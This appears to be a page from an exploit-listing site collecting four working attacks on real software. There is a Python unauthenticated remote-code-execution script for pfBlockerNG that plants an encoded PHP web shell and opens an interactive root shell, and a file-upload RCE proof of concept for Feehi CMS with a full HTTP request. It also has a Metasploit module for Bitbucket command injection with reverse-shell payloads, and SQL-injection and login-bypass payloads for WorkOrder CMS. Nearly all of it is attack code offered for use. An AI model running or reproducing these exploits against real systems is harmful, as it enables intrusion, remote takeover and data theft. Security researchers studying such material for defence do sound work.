Latest exploits :: CodePwn

<pre><code>#!/usr/bin/env python3 # Original Advisory: https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/ import argparse import requests import time import sys import urllib.parse from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) parser = argparse.ArgumentParser(description="pfBlockerNG <= 2.1.4_26 Unauth RCE") parser.add_argument('--url', action='store', dest='url', required=True, help="Full URL and port e.g.: https://192.168.1.111:443/") args = parser.parse_args() url = args.url shell_filename = "system_advanced_control.php" def check_endpoint(url): response = requests.get('%s/pfblockerng/www/index.php' % (url), verify=False) if response.status_code == 200: print("[+] pfBlockerNG is installed") else: print("\n[-] pfBlockerNG not installed") sys.exit() def upload_shell(url, shell_filename): payload = {"Host":"' *; echo 'PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBwcmludChwYXNzdGhydSggJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSggJGEpOz8+'|python3.8 -m base64 -d | php; '"} print("[/] Uploading shell...") response = requests.get('%s/pfblockerng/www/index.php' % (url), headers=payload, verify=False) time.sleep(2) response = requests.get('%s/system_advanced_control.php?c=id' % (url), verify=False) if ('uid=0(root) gid=0(wheel)' in str(response.content, 'utf-8')): print("[+] Upload succeeded") else: print("\n[-] Error uploading shell. Probably patched ", response.content) sys.exit() def interactive_shell(url, shell_filename, cmd): response = requests.get('%s/system_advanced_control.php?c=%s' % (url, urllib.parse.quote(cmd, safe='')), verify=False) print(str(response.text)+"\n") def delete_shell(url, shell_filename): delcmd = "rm /usr/local/www/system_advanced_control.php" response = requests.get('%s/system_advanced_control.php?c=%s' % (url, urllib.parse.quote(delcmd, safe='')), verify=False) print("\n[+] Shell deleted") check_endpoint(url) upload_shell(url, shell_filename) try: while True: cmd = input("# ") interactive_shell(url, shell_filename, cmd) except: delete_shell(url, shell_filename) </code></pre>

<pre><code># Exploit Title: Feehi CMS 2.1.1 - Remote Code Execution (RCE) (Authenticated) # Date: 22-08-2022 # Exploit Author: yuyudhn # Vendor Homepage: https://feehi.com/ # Software Link: https://github.com/liufee/cms # Version: 2.1.1 (REQUIRED) # Tested on: Linux, Docker # CVE : CVE-2022-34140 # Proof of Concept: 1. Login using admin account at http://feehi-cms.local/admin 2. Go to Ad Management menu. http://feehi-cms.local/admin/index.php?r=ad%2Findex 3. Create new Ad. http://feehi-cms.local/admin/index.php?r=ad%2Fcreate 4. Upload php script with jpg/png extension, and using Burp suite or any tamper data browser add ons, change back the extension to php. 5. Shell location: http://feehi-cms.local/uploads/setting/ad/[some_random_id].php # Burp request example: POST /admin/index.php?r=ad%2Fcreate HTTP/1.1 Host: feehi-cms.local Content-Length: 1530 Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="103", ".Not/A)Brand";v="99" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Linux" Upgrade-Insecure-Requests: 1 Origin: http://feehi-cms.local Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFBYJ8wfp9LBoF4xg User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://feehi-cms.local/admin/index.php?r=ad%2Fcreate Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: _csrf=807bee7110e873c728188300428b64dd155c422c1ebf36205f7ac2047eef0982a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22H9zz-zoIIPm7GEDiUGwm81TqyoAb5w0U%22%3B%7D; PHPSESSID=aa1dec72025b1524ae0156d527007e53; BACKEND_FEEHICMS=7f608f099358c22d4766811704a93375; _csrf_backend=3584dfe50d9fe91cfeb348e08be22c1621928f41425a41360b70c13e7c6bd2daa%3A2%3A%7Bi%3A0%3Bs%3A13%3A%22_csrf_backend%22%3Bi%3A1%3Bs%3A32%3A%22jQjzwf12TCyw_BLdszCqpz4zjphcQrmP%22%3B%7D Connection: close ------WebKitFormBoundaryFBYJ8wfp9LBoF4xg Content-Disposition: form-data; name="_csrf_backend" FvaDqWC07mTGiOuZr-Qzyc2NlSACNuyPM4w7qXxTgmZ8p-nTF9LfVpLLku7wpn-tvvfWUXJM2PVZ_FPKLSHvNg== ------WebKitFormBoundaryFBYJ8wfp9LBoF4xg Content-Disposition: form-data; name="AdForm[name]" rce ------WebKitFormBoundaryFBYJ8wfp9LBoF4xg Content-Disposition: form-data; name="AdForm[tips]" rce at Ad management ------WebKitFormBoundaryFBYJ8wfp9LBoF4xg Content-Disposition: form-data; name="AdForm[input_type]" 1 ------WebKitFormBoundaryFBYJ8wfp9LBoF4xg Content-Disposition: form-data; name="AdForm[ad]" ------WebKitFormBoundaryFBYJ8wfp9LBoF4xg Content-Disposition: form-data; name="AdForm[ad]"; filename="asuka.php" Content-Type: image/png <?php phpinfo(); ------WebKitFormBoundaryFBYJ8wfp9LBoF4xg Content-Disposition: form-data; name="AdForm[link]" -------------- </code></pre>

<pre><code>## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'Bitbucket Git Command Injection', 'Description' => %q{ Various versions of Bitbucket Server and Data Center are vulnerable to an unauthenticated command injection vulnerability in multiple API endpoints. The `/rest/api/latest/projects/{projectKey}/repos/{repositorySlug}/archive` endpoint creates an archive of the repository, leveraging the `git-archive` command to do so. Supplying NULL bytes to the request enables the passing of additional arguments to the command, ultimately enabling execution of arbitrary commands. }, 'License' => MSF_LICENSE, 'Author' => [ 'TheGrandPew', # discovery 'Ron Bowes', # analysis and PoC 'Jang', # testanull - PoC 'Shelby Pace' # Metasploit module ], 'References' => [ [ 'URL', 'https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24-1155489835.html' ], [ 'URL', 'https://attackerkb.com/topics/iJIxJ6JUow/cve-2022-36804/rapid7-analysis' ], [ 'URL', 'https://www.rapid7.com/blog/post/2022/09/20/cve-2022-36804-easily-exploitable-vulnerability-in-atlassian-bitbucket-server-and-data-center/' ], [ 'CVE', '2022-36804' ] ], 'Platform' => [ 'linux' ], 'Privileged' => false, 'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ], 'Targets' => [ [ 'Linux Dropper', { 'Platform' => 'linux', 'Type' => :linux_dropper, 'Arch' => [ ARCH_X86, ARCH_X64 ], 'CmdStagerFlavor' => %w[wget curl bourne], 'DefaultOptions' => { 'Payload' => 'linux/x64/meterpreter/reverse_tcp' } } ], [ 'Unix Command', { 'Platform' => 'unix', 'Type' => :unix_cmd, 'Arch' => ARCH_CMD, 'Payload' => { 'BadChars' => %(:/?#[]@) }, 'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_bash' } } ] ], 'DisclosureDate' => '2022-08-24', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'Reliability' => [ IOC_IN_LOGS ], 'SideEffects' => [ REPEATABLE_SESSION ] } ) ) register_options( [ Opt::RPORT(7990), OptString.new('TARGETURI', [ true, 'The base URI of Bitbucket application', '/']), OptString.new('USERNAME', [ false, 'The username to authenticate with', '' ]), OptString.new('PASSWORD', [ false, 'The password to authenticate with', '' ]) ] ) end def check res = send_request_cgi( 'method' => 'GET', 'keep_cookies' => true, 'uri' => normalize_uri(target_uri.path, 'login') ) return CheckCode::Unknown('Failed to receive response from application') unless res unless res.body.include?('Bitbucket') return CheckCode::Safe('Target does not appear to be Bitbucket') end footer = res.get_html_document&.at('footer') return CheckCode::Detected('Cannot determine version of Bitbucket') unless footer version_str = footer.at('span')&.children&.text return CheckCode::Detected('Cannot find version string in footer') unless version_str matches = version_str.match(/v(\d+\.\d+\.\d+)/) return CheckCode::Detected('Version unknown') unless matches && matches.length > 1 version_str = matches[1] vprint_status("Found Bitbucket version: #{matches[1]}") num_vers = Rex::Version.new(version_str) return CheckCode::NotVulnerable if num_vers <= Rex::Version.new('6.10.17') major, minor, revision = version_str.split('.') case major when '6' return CheckCode::Appears when '7' case minor when '6' return CheckCode::Appears if revision.to_i < 17 when '17' return CheckCode::Appears if revision.to_i < 10 when '21' return CheckCode::Appears if revision.to_i < 4 end when '8' case minor when '0', '1' return CheckCode::Appears if revision.to_i < 3 when '2' return CheckCode::Appears if revision.to_i < 2 when '3' return CheckCode::Appears if revision.to_i < 1 end end CheckCode::Detected end def username datastore['USERNAME'] end def password datastore['PASSWORD'] end def authenticate print_status("Attempting to authenticate with user '#{username}' and password '#{password}'") res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true ) fail_with(Failure::UnexpectedReply, 'Failed to reach login page') unless res&.body&.include?('login') res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'j_atl_security_check'), 'keep_cookies' => true, 'vars_post' => { 'j_username' => username, 'j_password' => password, 'submit' => 'Log in' } ) fail_with(Failure::UnexpectedReply, 'Failed to retrieve a response from log in attempt') unless res res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'dashboard'), 'keep_cookies' => true ) fail_with(Failure::UnexpectedReply, 'Failed to receive a response from the dashboard') unless res unless res.body.include?('Your work') && res.body.include?('Projects') fail_with(Failure::BadConfig, 'Login failed...Credentials may be invalid') end @authenticated = true print_good('Successfully logged into Bitbucket!') end def find_public_repo print_status('Searching Bitbucket for publicly accessible repository') res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'rest/api/latest/repos'), 'keep_cookies' => true ) fail_with(Failure::Disconnected, 'Did not receive a response') unless res json_data = JSON.parse(res.body) fail_with(Failure::UnexpectedReply, 'Response had no JSON') unless json_data unless json_data['size'] > 0 fail_with(Failure::NotFound, 'Bitbucket instance has no publicly available repositories') end # opt for public repos unless none exist. # Attempt to use a private repo if so repos = json_data['values'] possible_repos = repos.select { |repo| repo['public'] == true } if possible_repos.empty? && @authenticated possible_repos = repos.select { |repo| repo['public'] == false } end fail_with(Failure::NotFound, 'There doesn\'t appear to be any repos to use') if possible_repos.empty? possible_repos.each do |repo| project = repo['project'] next unless project @project = project['key'] @repo = repo['slug'] break if @project && @repo end fail_with(Failure::NotFound, 'Failed to find a repo to use for exploit') unless @project && @repo print_good("Found public repo '#{@repo}' in project '#{@project}'!") end def execute_command(cmd, _opts = {}) uri = normalize_uri(target_uri.path, 'rest/api/latest/projects', @project, 'repos', @repo, 'archive') send_request_cgi( 'method' => 'GET', 'uri' => uri, 'keep_cookies' => true, 'vars_get' => { 'format' => 'zip', 'path' => Rex::Text.rand_text_alpha(2..5), 'prefix' => "#{Rex::Text.rand_text_alpha(1..3)}\x00--exec=`#{cmd}`\x00--remote=#{Rex::Text.rand_text_alpha(3..8)}" } ) end def exploit @authenticated = false authenticate unless username.blank? && password.blank? find_public_repo if target['Type'] == :linux_dropper execute_cmdstager(linemax: 6000) else execute_command(payload.encoded) end end end </code></pre>

<pre><code># Exploit Title: WorkOrder CMS 0.1.0 SQLI # Date: Sep 22, 2022 # Exploit Author: Chokri Hammedi # Vendor Homepage: https://github.com/romzes13/WorkOrderCMS # Software Link: https://github.com/romzes13/WorkOrderCMS/archive/refs/tags/v0.1.0.zip # Version: 0.1.0 # Tested on: Linux # Auth Bypass: username:' or '1'='1 password:' or '1'='1 #sqlmap -r workorder.req --threads=10 --level 5 --risk 3 --dbs --dbms=mysql # POST Requests: Parameter: #1* ((custom) POST) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: userName=1'='1&password=1/' AND (SELECT 3761 FROM(SELECT COUNT(*),CONCAT(0x7170627071,(SELECT (ELT(3761=3761,1))),0x71787a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- UUhY!1111'/ Type: stacked queries Title: MySQL >= 5.0.12 stacked queries (comment) Payload: userName=1'='1&password=1/';SELECT SLEEP(5)#!1111'/ Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: userName=1'='1&password=1/' AND (SELECT 6822 FROM (SELECT(SLEEP(5)))lYsh)-- YlDI!1111'/ Parameter: #2* ((custom) POST) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: userName=1'='1&password=1/!1111' AND (SELECT 2010 FROM(SELECT COUNT(*),CONCAT(0x7170627071,(SELECT (ELT(2010=2010,1))),0x71787a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- tqtn/ Type: stacked queries Title: MySQL >= 5.0.12 stacked queries (comment) Payload: userName=1'='1&password=1/!1111';SELECT SLEEP(5)#/ Type: time-based blind Title: MySQL >= 5.0.12 OR time-based blind (SLEEP) Payload: userName=1'='1&password=1/!1111' OR SLEEP(5)-- XuTW/ </code></pre>